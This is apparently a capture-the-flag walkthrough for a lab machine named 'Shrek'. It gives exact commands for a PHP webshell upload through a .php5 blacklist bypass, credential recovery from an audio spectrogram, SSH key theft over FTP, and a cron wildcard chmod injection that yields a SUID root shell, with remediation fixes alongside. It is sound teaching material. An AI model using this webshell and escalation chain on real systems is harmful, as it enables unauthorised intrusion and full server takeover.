Shrek
Summary
I scanned the target and found Apache on port 80 and vsftpd on port 21 (anonymous access denied). Directory brute-forcing revealed a file-upload form and a PHP script served as raw plaintext source code, an Apache handler misconfiguration, which disclosed a hidden directory path and confirmed the upload staging area. The upload form's extension blacklist was bypassed by renaming the webshell to .php5, an alternative extension Apache still routes to the PHP interpreter, granting remote code execution on the server.
A publicly accessible MP3 audio file in the hidden directory contained an FTP password and an SSH key passphrase concealed in its frequency spectrogram; converting the audio to a spectrogram image and running OCR recovered both secrets. FTP login as 'donkey' exposed a protected SSH private key; combining that key with the recovered passphrase established a shell as user 'sec' and yielded the user flag. Local enumeration uncovered a file literally named '--reference=thoughts.txt' sitting in a directory where a root-owned cron job ran a wildcard glob; when the shell expanded '*', the maliciously-named file was passed to chmod as a command-line option rather than a filename, silently copying root-owned permission bits, including the SUID bit, from thoughts.txt onto a 'shell' binary.
Executing that binary produced a root shell and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 1
Enumerate service versions and check whether anonymous FTP is permitted.
$ nmap -Pn -sV -p21,22,80 --script ftp-anon,ftp-syst $TARGETExact commands 3
Brute-force directories; expect /uploads, /images, and eventually /secret_area_51.
$ ffuf -u http://$TARGET/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 40Read the PHP file as source code; Apache serves it as plaintext due to misconfigured handler: exposes the hidden path.
$ curl -s http://$TARGET/uploads/secret_ultimate.phpProbe the hidden directory disclosed in the leaked source to enumerate its contents.
$ curl -s -i http://$TARGET/secret_area_51/FixFix Apache handler so PHP files in /uploads/ are never served as plaintext sourceHigh
Exact commands 4
Create a minimal PHP webshell; the .php5 extension bypasses the blacklist.
$ echo '<?php system($_REQUEST["cmd"]); ?>' > cdx.php5Upload the webshell; success response confirms file is stored in /uploads/.
$ curl -F "file=@cdx.php5" http://$TARGET/upload.htmlTrigger the webshell; confirms RCE as the Apache process user.
$ curl -s "http://$TARGET/uploads/cdx.php5?cmd=id"Enumerate local user accounts to identify SSH targets (look for 'sec', 'donkey').
$ curl -s "http://$TARGET/uploads/cdx.php5?cmd=cat+/etc/passwd"FixReplace the upload extension blacklist with a strict content-type whitelist and disable script execution in the upload directoryCritical
Exact commands 5
Download the MP3 from the hidden directory discovered in step 2.
$ wget "http://$TARGET/secret_area_51/Smash%20Mouth%20-%20All%20Star.mp3" -O allstar.mp3Render a high-resolution spectrogram image; hidden text appears as bright horizontal bands.
$ ffmpeg -i allstar.mp3 -lavfi "showspectrumpic=s=4096x2048:legend=disabled:scale=log" spec.pngSplit stereo channels; credentials may be embedded in only one channel.
$ ffmpeg -i allstar.mp3 -map_channel 0.0.0 left.wav -map_channel 0.0.1 right.wavGenerate per-channel spectrograms for closer individual inspection.
$ sox left.wav -n spectrogram -o left_spec.png && sox right.wav -n spectrogram -o right_spec.pngRun OCR on the spectrogram image; repeat on left_spec.png and right_spec.png if needed to recover both credential strings.
$ tesseract spec.png stdoutFixNever store credentials in publicly accessible media files regardless of encoding or obfuscationCritical
Exact commands 3
List the FTP root directory as donkey; look for the SSH key file.
$ curl -s "ftp://$USERNAME:$PASSWORD3@$TARGET/"Download the SSH private key file.
$ curl -s "ftp://$USERNAME:$PASSWORD3@$TARGET/key" -o keyConfirm the downloaded file is a PEM-encoded SSH private key before use.
$ file key && head -3 keyFixRemove SSH private keys from FTP-accessible directories and enforce FTP chroot isolationHigh
Exact commands 3
SSH rejects key files with permissive modes; 600 is required.
$ chmod 600 keyLog in as sec; enter passphrase $PASSWORD2 when prompted.
$ ssh -i key -o StrictHostKeyChecking=no sec@$TARGETRead the user flag: <user.txt>
$ cat /home/sec/user.txtExact commands 7
List sec's home directory; spot the file whose name starts with '--', signalling the injection artifact.
$ ls -la /home/sec/ && find /home/sec -maxdepth 3 -name '--*' 2>/dev/nullEnumerate all SUID binaries; the non-standard 'shell' binary should appear.
$ find / -perm -4000 -type f 2>/dev/nullConfirm shell is root-owned, thoughts.txt has SUID mode bits, and the injector filename is present.
$ stat shell thoughts.txt '--reference=thoughts.txt'Identify the root cron job that runs the vulnerable wildcard glob in sec's directory.
$ cat /etc/crontab && ls /etc/cron.d/ && crontab -l 2>/dev/nullPoll every 5 seconds until the cron fires and the SUID bit (s) appears on shell.
$ watch -n 5 'ls -la shell'Execute the now-SUID-root shell binary; -p tells bash not to drop effective UID.
$ ./shell -pConfirm uid=0 and read the root flag: <root.txt>
$ id && cat /root/root.txtFixEliminate wildcard globs from root cron commands operating on user-writable directoriesCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh OpenSSH 7.5 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.27 ((Unix)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.